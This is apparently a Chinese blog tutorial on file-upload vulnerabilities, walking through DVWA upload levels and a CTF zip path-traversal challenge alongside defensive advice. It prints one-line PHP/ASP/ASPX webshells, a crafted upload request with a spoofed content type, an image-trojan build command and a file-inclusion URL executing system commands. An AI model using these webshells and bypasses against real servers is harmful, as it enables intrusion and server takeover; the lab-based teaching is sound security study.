文件上传漏洞总结

任意文件上传概述

文件上传是web应用必备功能之一,如,头像上传、附件分享等。如果服务器配置不当或者有没有进行足够的过滤,web用户就可以上传任意文件,包括恶意恶意脚本文件,exp呈现等等,这就造成了任意文件上传漏洞

漏洞成因

服务器配置不当,开启了PUT 方法。

Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。

在程序开发部署时,没有考虑以下因素,导致限制被绕过:

  • 代码特性;

  • 组件漏洞;

  • Web 容器漏洞;

  • 系统特性;

漏洞危害

上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

  • 直接上传后门文件并执行,导致网站沦陷;

  • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

通过文件上传漏洞获得的网站后门,叫WebShell。

webshell解析

  • 理解Shell 的概念

  • 掌握WebShell 使用

shell

命令解释器

windowslinux
powershellbash
cmdsh
zsh

image-20231114105354079

webshell

WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权

限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:

  • .php

  • .asp

  • .aspx

  • .jsp

WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。

web容器脚本语言
Apache HTTPDphp
IISaspx| aspx| php
Tomcatjsp| jspx

大马

代码量比较大,与小马对比。

小马

一句话木马,需要与中国菜刀配合。

特点:短小精悍,功能强大。

三大基本功能:文件管理、虚拟终端、数据库管理。

php 脚本格式:

<?php @eval($_REQUEST[777])?>
//代码执行函数+传参点

asp脚本形式:

<%eval request("777")%>

aspx脚本形式:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>

getshell

GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。

WebShell项目

  • tennc/webshell

任意文件上传攻防

毫无检测

DVWA/File Upload/Low

源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
 }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
 }
}
?>

代码审计

  • 对文件上传没有做任何过滤;

  • 任意文件上传。

黑白名单策略

黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就

是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一。

文件检测

  • 文件后缀名

  • 文件类型

  • 文件内容

后缀名黑名单

$deny_ext = array(
 ".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",
".html",".htm",
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
".cer",".swf",
".htaccess"
);

后缀名白名单

$allow_ext = array(
 'jpg','jpeg','png','bmp','gif','svg',
 'zip','tar.gz',
 'doc','docx','pdf','xls','ppt'
);

文件类型检测

DVWA/File Upload/Medium

源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
 ( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
 }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
 }
 }
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 }
}
?>

代码审计

  • 上传的文件没有重命名;

  • Content-Type 类型白名单检测;

  • 任意文件上传。

POST /dvwa_2.0.1/vulnerabilities/upload/ HTTP/1.1
Host: 10.4.7.196
Content-Length: 432
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.4.7.196
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3xRrwk8liSH6rVVn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/105.0.5195.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: http://10.4.7.196/dvwa_2.0.1/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=rkgc97fga9q51hn8vciv5dt5e7; ASPSESSIONIDSASCAARA=DPNHBLIBFBKFLHLNLEHPMJCH;
ASPXSpy=5854b7d51176229708197a5334ba1195
Connection: close
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="uploaded"; filename="yjh.php"
Content-Type: image/jpeg
<?php
@eval($_REQUEST[777]);phpinfo();
?>
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary3xRrwk8liSH6rVVn--

文件后缀名或内容检测

DVWA/File Upload/High

源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( 
$uploaded_ext ) == "png" ) &&
 ( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
 }
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
 }
 }
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 }
}
?>

代码审计

  • 上传文件没有重命名;

  • 文件后缀名白名单检测;

  • 使用getimagesize() 进行文件内容检测,只检测文件头部。

图片木马

使用cmd命令

copy imgName/b+yjh/a newImgName

说明:

  • 图片木马没有办法直接利用,需要配合其他漏洞。

  • 图片木马中包含了恶意代码。

完全防御

DVWA/File Upload/Impossible

源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 
'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( 
$uploaded_ext ) == 'png' ) &&
 ( $uploaded_size < 100000 ) &&
 ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
 }
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
 }
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
 }
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
 }
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
 }
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

代码审计

  • 检测Token 值,防止数据包重放;

  • 文件重命名;

  • 文件后缀名白名单检测;

  • 文件类型白名单检测;

  • 文件内容头部检测;

  • 二次渲染,生成新文件;

  • 删除缓存文件。

文件上传利用条件

文件上传漏洞完美利用,受到以下条件限制:

  • Web 服务器开启文件上传功能,Web 用户可以使用该功能。

  • Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。

  • 完美利用意味着文件可以执行,也就是说代码可以被服务器解析。

  • 服务器开启了PUT 方法。

任意文件上传防御

代码角度

  • 采用白名单策略,严格限制上传文件的后缀名;

  • 上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;

  • 文件内容检测;

  • 进行二次渲染,过滤掉图片马中的恶意代码;

  • 避免文件包含漏洞;

  • 严格处理文件路径,防御00 截断漏洞;

  • 检测Token 值,防止数据包重放。

业务角度

  • 强口令策略,避免恶意攻击者登录网站后台;

  • 尽量避免Web 用户修改上传白名单。

web容器角度

  • 及时更新Web 容器,防止解析漏洞产生。

  • 禁用Web 容器PUT 方法。

系统角度

  • 避开空格、点 . 、 ::$DATA 等windows 系统特性。

服务器部署

  • 严格控制权限,执行权限与写权限分离。

  • 建立单独的文件存储服务器,类似于站库分离

扩展1 dvwa-fileupload

low

源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

没有过滤

尝试上传一句话木马

<?php @eval($_POST[999]);?>

上传成功,返回上传的路径

image-20231116104436459

去掉井号跟在后面

http://10.9.47.221/dvwa_2.0.1/hackable/uploads/yijuhua.php

使用蚁剑连接

image-20231116104749935

可以成功连接

medium

源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

发现过滤了文件类型,需要将文件类型改为jpeg或者png的

上传一句话木马,将content-type改为image/png

发现可以上传成功

image-20231116105931187

使用蚁剑连接

image-20231116110049317

high

源码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

该难度增加了对文件后缀名的判断,需要后缀名为jpg,jpeg,png

并且使用了getimagesize()函数,该函数会检查图片的内容来判断该内容中的格式符不符合图片,如果不是图片的格式会上传失败

制作图片包含一句话木马,将木马放在该图片内容的底部,防止被函数识别过滤

copy 111.png/b+111.txt/a 123.png

image-20231116114204806

上传成功

image-20231116114609771

image-20231116114712717

蚁剑无法连接

需要配合靶场的文件包含使用

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file://C:\phpstudy_2016\WWW\dvwa_2.0.1\hackable\uploads\123.png&999=system('whoami');

image-20231116115435675

可以执行系统命令

也可以phpinfo()

image-20231116115522299

impossilbe

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

此行代码检查用户token

下面一段获取上传文件的信息,以及截取文件后缀名

$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

该行代码对文件名使用md5生成唯一文件名

if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) )

检查文件后缀名和大小是否符合,并且检查上传类型是否符合

然后调用函数检查文件内容是否符合图片格式

if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );

如果上传的格式通过,随后去除其元数据,并将其移动至临时目录

imagecreatefrompng() 是 PHP 中用于创建一个新的 GD 图像资源,从指定的 PNG 文件中读取图像数据的函数。它的基本语法如下:

resource imagecreatefrompng ( string $filename )

参数 $filename 是一个字符串,表示要读取的 PNG 文件的路径。

当调用 imagecreatefrompng() 函数时,它会打开指定的 PNG 文件,并将其解析为 GD 图像资源。这个资源可以被用于后续的图像处理操作,比如缩放、裁剪、添加水印等。

这个函数返回一个 GD 图像资源,如果读取失败,则返回 false

if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; }

将图片从临时目录移动到目标目录

if( file_exists( $temp_file ) ) unlink( $temp_file ); }

删除临时目录的文件

扩展2 01ctfer 文件上传

源码

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

        echo '

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件:</label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>
                
        <div class="col-sm-8  text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
    </div>
</body>
</html>
';

    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

require_once('pclzip.lib.php'); - 引入了一个名为 pclzip.lib.php 的外部库,用于处理zip压缩文件。

检查上传的文件类型,如果是zip文件,则使用 PclZip 库解压文件,并检查解压后的文件内容,如果包含PHP文件则停止执行并输出错误信息。如果解压失败,则输出错误信息。然后检查目录下的文件并删除不符合规定的文件

其中对于zip的两个主要限制点即为结尾不能是php,其次是不能直接上传在当前目录,因为目录名随机,解压之后找不到位置,因此需要目录穿越到可以找到并访问的位置,此处主要是apache的解析漏洞,从右向左解析,直到解析到合法后缀才执行

复现

写一个一句话木马文件

然后命名为如图

image-20231116143820045

其中xxxxxx为占位符,因为要用010editor将前面改为…/…/刚好六位,后面加未知后缀是因为代码中写的不能以php结尾

将该文件压缩

zip 9.zip xxxxxx9.php.gp 

010editor打开压缩包文件编辑

将其中名字部分改为如图

为什么用01编辑器修改文件名,因为在外部不能以…/这种东西命名

image-20231116144306218

然后保存

进入靶场上传

image-20231116144748329

image-20231116144550200

上传成功后访问该php文件,得到flag

n1book{ThisIsUpLoadToPicfl4g}

image-20231116144608977

但是蚁剑无法连接,而且传参过后也无法操作

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值